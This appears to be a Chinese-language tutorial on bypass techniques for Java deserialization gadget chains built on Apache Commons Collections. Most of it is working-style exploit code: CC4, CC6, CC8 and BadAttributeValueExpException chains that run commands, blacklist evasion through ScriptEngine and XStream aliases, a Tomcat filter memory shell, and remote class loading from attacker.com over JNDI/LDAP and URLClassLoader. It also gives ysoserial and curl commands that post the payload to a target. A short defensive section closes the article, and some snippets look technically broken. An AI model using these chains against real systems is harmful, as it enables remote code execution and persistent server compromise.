Java反序列化链CommonsCollections的绕过技巧
字数 646 2025-08-29 08:29:59
Java反序列化链CommonsCollections绕过技巧详解
一、JDK高版本绕过(针对8u71+的修复)
CC6链构造技巧
// 使用TiedMapEntry替代AnnotationInvocationHandler
Transformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
// 通过反射触发
HashSet hashSet = new HashSet(1);
hashSet.add("bar");
// 反射修改HashSet内部结构
Field tableField = HashSet.class.getDeclaredField("map");
tableField.setAccessible(true);
HashMap internalMap = (HashMap) tableField.get(hashSet);
Field entryField = HashMap.class.getDeclaredField("table");
entryField.setAccessible(true);
Object[] table = (Object[]) entryField.get(internalMap);
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 将恶意对象注入HashSet
// 序列化触发
serialize(hashSet);
绕过原理:
- 利用TiedMapEntry.getValue()自动调用LazyMap.get()的特性
- 通过修改HashSet内部存储结构绕过AnnotationInvocationHandler限制
二、黑名单过滤绕过
1. 非常规Transformer组合
// 使用Commons Collections的其它类构造链
Transformer[] chain = new Transformer[]{
new ConstantTransformer(javax.script.ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}),
new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('calc')"})
};
2. 结合XStream别名绕过
<!-- 利用XStream的别名机制隐藏类名 -->
<xstream>
<alias name="harmless" type="org.apache.commons.collections.functors.InvokerTransformer"/>
</xstream>
<!-- 实际攻击载荷 -->
<harmless>
<iMethodName>exec</iMethodName>
<iParamTypes>
<class>java.lang.String</class>
</iParamTypes>
<iArgs>
<string>calc</string>
</iArgs>
</harmless>
三、无文件落地攻击
1. 内存马注入(Tomcat Filter型)
Transformer[] memShellChain = new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"javax.servlet.Filter"}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};
2. JNDI远程类加载
// 结合Log4j2漏洞的混合利用
Transformer[] jndiChain = new Transformer[]{
new ConstantTransformer(JndiLookup.class),
new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{"ldap://attacker.com/Exploit"})
};
四、字节码注入绕过
1. 使用TemplatesImpl加载BCEL字节码
// 生成恶意字节码
String bcelCode = "
$$
BCEL
$$
...";
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
// 构造TemplatesImpl链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", null);
Transformer[] bcChain = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
2. Groovy链利用
// 利用Groovy的MethodClosure
Class methodClosure = Class.forName("groovy.lang.Closure");
Object closure = methodClosure.getConstructor(Object.class, Object.class)
.newInstance(new MethodClosure("calc", "execute"), "execute");
Transformer[] groovyChain = new Transformer[]{
new ConstantTransformer(closure),
new InvokerTransformer("call", null, null)
};
五、防御对抗技巧
1. 反射黑名单绕过
// 使用Unsafe类绕过反射限制
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
// 直接内存操作修改访问权限
Class cls = Class.forName("java.lang.reflect.AccessibleObject");
Field overrideField = cls.getDeclaredField("override");
long offset = unsafe.objectFieldOffset(overrideField);
// 强制修改字段值
unsafe.putBoolean(chain, offset, true);
2. 动态类加载绕过
// 使用URLClassLoader加载远程类
Transformer[] urlChain = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance", new Class[]{URL[].class}, new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
六、检测与防御方案
1. 防御性代码示例
// 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> allowedClasses = Set.of("java.lang.String", "java.util.HashMap");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: ", desc.getName());
}
return super.resolveClass(desc);
}
}
2. 运行时防护(RASP)
// 使用Java Agent监控危险方法
public static class SecurityAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
if (className.equals("java/io/ObjectInputStream")) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
cr.accept(new ObjectInputStreamVisitor(cw), 0);
return cw.toByteArray();
}
return classfileBuffer;
});
}
}
// ASM字节码插桩
class ObjectInputStreamVisitor extends ClassVisitor {
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if (name.equals("readObject")) {
mv.visitCode();
mv.visitMethodInsn(INVOKESTATIC, "SecurityCheck", "validateDeserialization");
mv.visitEnd();
}
return mv;
}
}
七、进阶绕过技巧
1. CC4链:利用PriorityQueue与TransformingComparator
// 构造TemplatesImpl恶意类
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Exploit");
byte[] code = loadEvilClassBytes(); // 加载恶意字节码
setFieldValue(templates, "_bytecodes", new byte[][]{code});
// 构建InstantiateTransformer触发newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 配置TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(2);
// 反射注入真实Transformer链
setFieldValue(comparator, "transformer", chain);
// 序列化与反序列化触发
serialize(queue);
deserialize("payload.bin");
2. BadAttributeValueExpException链
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 配置LazyMap与TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger_key");
// 通过反射设置BadAttributeValueExpException的val属性
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);
// 序列化触发
serialize(exp);
3. CC8链:TreeBag与TreeMap组合触发
// 配置TemplatesImpl恶意类
TemplatesImpl templates = createEvilTemplates();
// 构建Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 配置TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(chain);
// 构造TreeBag触发链
TreeBag bag = new TreeBag(comparator);
bag.add("dummy"); // 触发TreeMap.put()
// 序列化与反序列化
serialize(bag);
deserialize("payload.bin");
八、攻击验证与防御策略
攻击验证命令
# 使用ysoserial生成绕过payload
java -Djdk.xml.enableTemplatesImplDeserialization=true \
-jar ysoserial.jar CommonsCollections6 "curl http://attacker.com" > payload.bin
# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vulnerable-app/deserialize
审计关注点
// 危险代码模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
RMI Registry.bind() // 远程对象绑定
防御策略
- 升级Commons Collections到4.4+版本
- 使用SerialKiller等安全反序列化库
- 启用SecurityManager沙箱
- 部署RASP进行运行时保护
- 结合SAST(静态分析)、IAST(交互式检测)实现立体防御